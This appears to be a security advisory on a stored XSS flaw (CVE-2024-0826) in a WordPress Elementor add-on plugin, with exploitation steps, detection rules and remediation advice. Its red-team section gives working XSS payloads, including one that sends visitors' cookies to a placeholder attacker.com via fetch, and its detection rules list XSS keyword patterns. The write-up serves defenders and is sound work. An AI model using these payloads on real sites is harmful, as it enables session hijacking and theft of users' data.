CVE-2024-0826

Executive Summary

CVE-2024-0826 is a Stored Cross-Site Scripting (XSS) vulnerability in the Qi Addons For Elementor WordPress plugin, affecting all versions up to and including 1.6.7. The vulnerability arises from insufficient input sanitization and output escaping on user-supplied attributes within the plugin's widgets. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When a user visits an infected page, the injected script executes in the context of the victim's browser, potentially leading to session hijacking, data theft, or defacement. The CVSS v3.1 base score is 6.4 (Medium), with a vector emphasizing low-privilege access and user interaction. No public exploit code or patch is currently available, but the risk is elevated due to the widespread use of Elementor and its add-ons.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is moderate: if the plugin is compromised at the source, all sites using it become vulnerable. Administrators should verify the integrity of the plugin files and monitor for updates from the vendor. No known malicious packages have been reported, but the lack of a patch increases the window of exposure.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs contributor-level access.
• User Interaction (UI): Required – The victim must visit the compromised page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No direct impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS means any visitor to the site is at risk. The lack of a patch and the popularity of Elementor add-ons make this a significant concern for WordPress site administrators.

Deep Dive & Mechanics

The vulnerability resides in the Qi Addons For Elementor plugin, which extends the Elementor page builder with custom widgets. These widgets accept user-supplied attributes (e.g., image URLs, link targets, CSS classes) that are not properly sanitized or escaped before being rendered in the HTML output.

Root Cause: The plugin fails to apply WordPress's built-in escaping functions (like esc_attr(), esc_html(), or wp_kses()) to widget attributes. An attacker with contributor-level access can create or edit a page using a vulnerable widget and inject malicious JavaScript into an attribute field. When the page is saved and later viewed, the injected script is executed in the visitor's browser.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates a new page or edits an existing one using Elementor.
3. Attacker adds a Qi Addons widget (e.g., a button, image, or heading widget).
4. Attacker inserts a malicious payload into a widget attribute, such as:

   " onmouseover="alert('XSS')"
   

5. The plugin stores the payload without sanitization.
6. When a victim visits the page, the payload executes in their browser.

Impact: The attacker can steal session cookies, redirect users to malicious sites, deface the page, or perform actions on behalf of the victim. Since the script executes in the context of the WordPress site, it can also be used to create new admin users or modify site content.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.6.7 and earlier): The plugin likely outputs widget attributes directly without escaping. For example, in a button widget:

<a href="<?php echo $settings['button_url']; ?>" class="qi-addons-button">Click</a>

Here, $settings['button_url'] is not escaped, allowing injection of javascript: URLs or event handlers.

Patched Code (hypothetical): A patch would apply proper escaping:

<a href="<?php echo esc_url($settings['button_url']); ?>" class="qi-addons-button">Click</a>

Additionally, all other attributes should be escaped with esc_attr() or esc_html() as appropriate.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Qi Addons For Elementor <= 1.6.7 installed and active.
• Contributor-level account or higher.

Exploitation Steps:

1. Log in to WordPress with contributor credentials.
2. Navigate to Pages > Add New.
3. Edit with Elementor.
4. Add a Qi Addons widget (e.g., "Button").
5. In the button's URL field, enter:

   javascript:alert(document.cookie)
   

   Or use an event handler:

   " onmouseover="alert('XSS')
   

6. Publish the page.
7. Send the page link to a victim. When they hover over the button, the script executes.

Advanced Payload:

" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="

This payload steals cookies when the page loads.

Blue Team

Detection:

• Monitor for unusual widget attribute values in page/post content.
• Look for patterns like javascript:, onload=, onmouseover=, or <script> tags in custom fields.
• Use Web Application Firewall (WAF) rules to block common XSS payloads.

Prevention:

• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly audit plugin code for unescaped output.

Hunting:

• Search the database for posts containing suspicious HTML attributes:

  SELECT * FROM wp_posts WHERE post_content LIKE '%onmouseover%' OR post_content LIKE '%javascript:%';
  

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections to attacker-controlled domains (e.g., attacker.com).
  • HTTP requests containing stolen cookies or session data.

• Host IOCs:

  • WordPress database entries with malicious JavaScript in wp_posts.post_content.
  • Modified plugin files (though unlikely in this case).

• File IOCs:

  • Suspicious entries in wp-content/plugins/qi-addons-for-elementor/ (e.g., backdoored files).

• Log IOCs:

  • WordPress debug logs showing unescaped output warnings.
  • Web server logs with requests to pages containing XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2024_0826_Qi_Addons_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2024-0826 in Qi Addons For Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-0826"
    strings:
        $payload1 = /on\w+\s*=\s*["'][^"']*["']/ nocase
        $payload2 = /javascript\s*:/ nocase
        $payload3 = /<script[^>]*>/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-0826 Qi Addons For Elementor Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts created with Qi Addons For Elementor
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.user_agent|contains: 
            - "Mozilla"
        http.request.body|contains:
            - "onmouseover"
            - "onfocus"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0826 Qi Addons For Elementor Stored XSS"; flow:to_server,established; content:"onmouseover"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict contributor-level access to only trusted users.
3. Implement a Web Application Firewall (WAF) with rules to block common XSS patterns.

Long-term Fix:

• The vendor must release a patched version (>= 1.6.8) that properly escapes all widget attributes.
• Apply the patch as soon as it becomes available.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.
• Manually audit and fix the plugin code if you have development resources.

Monitoring:

• Enable WordPress debug logging to catch unescaped output.
• Regularly scan the database for malicious content.

Valters IT